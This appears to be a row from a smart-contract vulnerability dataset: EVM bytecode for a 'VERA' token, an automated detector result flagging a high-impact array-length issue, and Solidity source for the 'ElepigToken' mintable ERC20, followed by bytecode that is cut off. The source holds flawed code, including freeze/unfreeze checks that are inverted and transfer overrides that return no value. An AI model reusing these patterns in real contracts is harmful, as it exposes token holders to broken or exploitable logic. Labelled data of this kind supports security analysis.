0x608060405234801561001057600080fd5b50600436106102115760003560e01c806370a08231116101255780639dc29fac116100ad578063dd62ed3e1161007c578063dd62ed3e14610a5c578063e2490d5b14610ad4578063f2fde38b14610af2578063f435f5a714610b36578063f851a44014610b9257610211565b80639dc29fac146108e6578063a457c2d714610934578063a9059cbb1461099a578063aa271e1a14610a0057610211565b806395d89b41116100f457806395d89b41146107b55780639711715a14610838578063981b24d014610856578063983b2d561461089857806398650275146108dc57610211565b806370a08231146106c557806382dc1ec41461071d5780638456cb59146107615780638da5cb5b1461076b57610211565b806339509351116101a85780634ee2cd7e116101775780634ee2cd7e146105975780635c975abb146105f9578063625becbc1461061b5780636ef8d66d14610677578063704b6c021461068157610211565b806339509351146104655780633f4ba83a146104cb57806340c10f19146104d557806346fbf68e1461053b57610211565b80632e0f2625116101e45780632e0f2625146103a35780632f6c493c146103c75780632ff2e9dc14610423578063313ce5671461044157610211565b806306fdde0314610216578063095ea7b31461029957806318160ddd146102ff57806323b872dd1461031d575b600080fd5b61021e610bdc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561025e578082015181840152602081019050610243565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e5600480360360408110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c15565b604051808215151515815260200191505060405180910390f35b610307610c43565b6040518082815260200191505060405180910390f35b6103896004803603606081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c4d565b604051808215151515815260200191505060405180910390f35b6103ab610c7d565b604051808260ff1660ff16815260200191505060405180910390f35b610409600480360360208110156103dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c82565b604051808215151515815260200191505060405180910390f35b61042b610d9b565b6040518082815260200191505060405180910390f35b610449610da9565b604051808260ff1660ff16815260200191505060405180910390f35b6104b16004803603604081101561047b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc0565b604051808215151515815260200191505060405180910390f35b6104d3610dee565b005b610521600480360360408110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e99565b604051808215151515815260200191505060405180910390f35b61057d6004803603602081101561055157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec1565b604051808215151515815260200191505060405180910390f35b6105e3600480360360408110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ede565b6040518082815260200191505060405180910390f35b610601610f4e565b604051808215151515815260200191505060405180910390f35b61065d6004803603602081101561063157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b604051808215151515815260200191505060405180910390f35b61067f610fbb565b005b6106c36004803603602081101561069757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b005b610707600480360360208110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611118565b6040518082815260200191505060405180910390f35b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611161565b005b61076961117f565b005b61077361122b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107bd611250565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107fd5780820151818401526020810190506107e2565b50505050905090810190601f16801561082a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610840611289565b6040518082815260200191505060405180910390f35b6108826004803603602081101561086c57600080fd5b81019080803590602001909291905050506112e1565b6040518082815260200191505060405180910390f35b6108da600480360360208110156108ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611312565b005b6108e4611330565b005b610932600480360360408110156108fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061133b565b005b6109806004803603604081101561094a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611349565b604051808215151515815260200191505060405180910390f35b6109e6600480360360408110156109b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611377565b604051808215151515815260200191505060405180910390f35b610a4260048036036020811015610a1657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a5565b604051808215151515815260200191505060405180910390f35b610abe60048036036040811015610a7257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113c2565b6040518082815260200191505060405180910390f35b610adc611449565b6040518082815260200191505060405180910390f35b610b3460048036036020811015610b0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061144f565b005b610b7860048036036020811015610b4c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611655565b604051808215151515815260200191505060405180910390f35b610b9a61176e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040518060400160405280600481526020017f564552410000000000000000000000000000000000000000000000000000000081525081565b6000600f60009054906101000a900460ff1615610c3157600080fd5b610c3b8383611794565b905092915050565b6000600654905090565b6000600f60009054906101000a900460ff1615610c6957600080fd5b610c748484846117ab565b90509392505050565b600881565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdd57600080fd5b60011515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d3a57600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600860ff16600a0a60000281565b6000600960009054906101000a900460ff16905090565b6000600f60009054906101000a900460ff1615610ddc57600080fd5b610de6838361185c565b905092915050565b610df733610ec1565b610e0057600080fd5b600f60009054906101000a900460ff16610e1957600080fd5b6000600f60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610ea4336113a5565b610ead57600080fd5b610eb78383611901565b6001905092915050565b6000610ed782600e61192090919063ffffffff16565b9050919050565b6000806000610f2b84600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206119b2565b9150915081610f4257610f3d85611118565b610f44565b805b9250505092915050565b6000600f60009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610fc433611a3a565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561107a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110d457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61116a33610ec1565b61117357600080fd5b61117c81611a94565b50565b61118833610ec1565b61119157600080fd5b600f60009054906101000a900460ff16156111ab57600080fd5b6001600f60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f564552410000000000000000000000000000000000000000000000000000000081525081565b6000611295600d611aee565b60006112a1600d611b04565b90507f8030e83b04d87bef53480e26263266d6ca66863aa8506aca6f2559d18aa1cb67816040518082815260200191505060405180910390a18091505090565b60008060006112f184600b6119b2565b915091508161130757611302610c43565b611309565b805b92505050919050565b61131b336113a5565b61132457600080fd5b61132d81611b12565b50565b61133933611b6c565b565b6113458282611bc6565b5050565b6000600f60009054906101000a900460ff161561136557600080fd5b61136f8383611be5565b905092915050565b6000600f60009054906101000a900460ff161561139357600080fd5b61139d8383611c8a565b905092915050565b60006113bb82601061192090919063ffffffff16565b9050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114a857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114e257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561153c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561159757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b057600080fd5b60001515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461170d57600080fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006117a1338484611ca1565b6001905092915050565b60006117b8848484611e00565b611851843361184c85600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2290919063ffffffff16565b611ca1565b600190509392505050565b60006118f733846118f285600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3990919063ffffffff16565b611ca1565b6001905092915050565b61190a82611e55565b611912611ea8565b61191c8282611ebc565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561195b57600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600080600084116119c257600080fd5b6119cc600d611b04565b8411156119d857600080fd5b60006119f0858560000161202090919063ffffffff16565b90508360000180549050811415611a11576000808090509250925050611a33565b6001846001018281548110611a2257fe5b906000526020600020015492509250505b9250929050565b611a4e81600e6120d590919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b611aa881600e61218090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b6001816000016000828254019250508190555050565b600081600001549050919050565b611b2681601061218090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611b808160106120d590919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b611bcf82611e55565b611bd7611ea8565b611be1828261222c565b5050565b6000611c803384611c7b85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2290919063ffffffff16565b611ca1565b6001905092915050565b6000611c97338484611e00565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cdb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d1557600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b611e0983611e55565b611e1282611e55565b611e1d838383612380565b505050565b600082821115611e2e57fe5b818303905092915050565b600080828401905083811015611e4b57fe5b8091505092915050565b611ea5600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611ea083611118565b6125ab565b50565b611eba600b611eb5610c43565b6125ab565b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ef657600080fd5b60065460055411611f0657600080fd5b611f1b81600654611e3990919063ffffffff16565b600681905550611f7381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000808380549050141561203757600090506120cf565b60008090506000848054905090505b8082101561208f57600061205a838361262e565b90508486828154811061206957fe5b9060005260206000200154111561208257809150612089565b6001810192505b50612046565b6000821180156120b75750838560018403815481106120aa57fe5b9060005260206000200154145b156120c95760018203925050506120cf565b81925050505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561210f57600080fd5b6121198282611920565b61212257600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121ba57600080fd5b6121c48282611920565b156121ce57600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561226657600080fd5b61227b81600654611e2290919063ffffffff16565b6006819055506122d381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2290919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156123ba57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461241757600080fd5b61246981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124fe81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006125b7600d611b04565b9050806125c684600001612670565b10156126295782600001819080600181540180825580915050906001820390600052602060002001600090919290919091505550826001018290806001815401808255809150509060018203906000526020600020016000909192909190915055505b505050565b6000600280838161263b57fe5b066002858161264657fe5b06018161264f57fe5b046002838161265a57fe5b046002858161266557fe5b040101905092915050565b6000808280549050141561268757600090506126a8565b8160018380549050038154811061269a57fe5b906000526020600020015490505b91905056fea165627a7a72305820e6f6c7c4e0fc9f339526b19e645ce4498d6e5a31260db010cde6f3f0622634510029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,424
0x38d14eb90d0be64f9bd3b34a199b0d961599340e
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable, BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract ElepigToken is MintableToken { string public name = "Elepig"; string public symbol = "EPG"; uint8 public decimals = 18; // unlock times for Team Wallets uint constant unlockY1Time = 1546300800; // Tuesday, January 1, 2019 12:00:00 AM uint constant unlockY2Time = 1577836800; // Wednesday, January 1, 2020 12:00:00 AM uint constant unlockY3Time = 1609459200; // Friday, January 1, 2021 12:00:00 AM uint constant unlockY4Time = 1640995200; // Saturday, January 1, 2022 12:00:00 AM mapping (address => uint256) public freezeOf; address affiliate; address contingency; address advisor; // team vesting plan wallets address team; address teamY1; address teamY2; address teamY3; address teamY4; bool public mintedWallets = false; // tokens to be minted straight away //============================= // 50% of tokens will be minted during presale & ico, 50% now uint256 constant affiliateTokens = 7500000000000000000000000; // 2.5% uint256 constant contingencyTokens = 52500000000000000000000000; // 17.5% uint256 constant advisorTokens = 30000000000000000000000000; // 10% uint256 constant teamTokensPerWallet = 12000000000000000000000000; // 20% of 60MM EPG team fund - vesting program event Unfreeze(address indexed from, uint256 value); event Freeze(address indexed from, uint256 value); event WalletsMinted(); // constructor - null function ElepigToken() public { } // mints ElePig wallets function mintWallets( address _affiliateAddress, address _contingencyAddress, address _advisorAddress, address _teamAddress, address _teamY1Address, address _teamY2Address, address _teamY3Address, address _teamY4Address ) public onlyOwner { require(_affiliateAddress != address(0)); require(_contingencyAddress != address(0)); require(_advisorAddress != address(0)); require(_teamAddress != address(0)); require(_teamY1Address != address(0)); require(_teamY2Address != address(0)); require(_teamY3Address != address(0)); require(_teamY4Address != address(0)); require(mintedWallets == false); // can only call function once affiliate = _affiliateAddress; contingency = _contingencyAddress; advisor = _advisorAddress; // team vesting plan wallets each year 20% team = _teamAddress; teamY1 = _teamY1Address; teamY2 = _teamY2Address; teamY3 = _teamY3Address; teamY4 = _teamY4Address; // mint coins immediately that aren&#39;t for crowdsale mint(affiliate, affiliateTokens); mint(contingency, contingencyTokens); mint(advisor, advisorTokens); mint(team, teamTokensPerWallet); mint(teamY1, teamTokensPerWallet); // These will be locked for transfer until 01/01/2019 00:00:00 mint(teamY2, teamTokensPerWallet); // These will be locked for transfer until 01/01/2020 00:00:00 mint(teamY3, teamTokensPerWallet); // These will be locked for transfer until 01/01/2021 00:00:00 mint(teamY4, teamTokensPerWallet); // These will be locked for transfer until 01/01/2022 00:00:00 mintedWallets = true; emit WalletsMinted(); } function checkPermissions(address _from) internal view returns (bool) { // team vesting, a wallet gets unlocked each year. if (_from == teamY1 && now < unlockY1Time) { return false; } else if (_from == teamY2 && now < unlockY2Time) { return false; } else if (_from == teamY3 && now < unlockY3Time) { return false; } else if (_from == teamY4 && now < unlockY4Time) { return false; } else { //all other addresses are not locked return true; } } // check Permissions before transfer function transfer(address _to, uint256 _value) public returns (bool) { require(checkPermissions(msg.sender)); super.transfer(_to, _value); } // check Permissions before transfer function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(checkPermissions(_from)); super.transferFrom(_from, _to, _value); } function freeze(uint256 _value) public returns (bool success) { require(balances[msg.sender] < _value); // Check if the sender has enough require(_value <= 0); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.add(freezeOf[msg.sender], _value); // Updates freezeOf emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) public returns (bool success) { require(freezeOf[msg.sender] < _value); // Check if the sender has enough require(_value <= 0); freezeOf[msg.sender] = SafeMath.sub(freezeOf[msg.sender], _value); // Subtract from the sender balances[msg.sender] = SafeMath.add(balances[msg.sender], _value); emit Unfreeze(msg.sender, _value); return true; } function () public payable { revert(); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec57806318160ddd1461025157806323b872dd1461027c578063313ce567146103015780633cfaa9ed1461033257806340c10f191461036157806342966c68146103c657806366188463146103f35780636623fc461461045857806370a082311461049d5780637d64bcb4146104f45780638da5cb5b1461052357806395d89b411461057a578063a9059cbb1461060a578063cd4217c11461066f578063d73dd623146106c6578063d7a78db81461072b578063dd62ed3e14610770578063edbea0b1146107e7578063f2fde38b1461090a575b600080fd5b34801561013957600080fd5b5061014261094d565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b50610171610960565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fe565b604051808215151515815260200191505060405180910390f35b34801561025d57600080fd5b50610266610af0565b6040518082815260200191505060405180910390f35b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291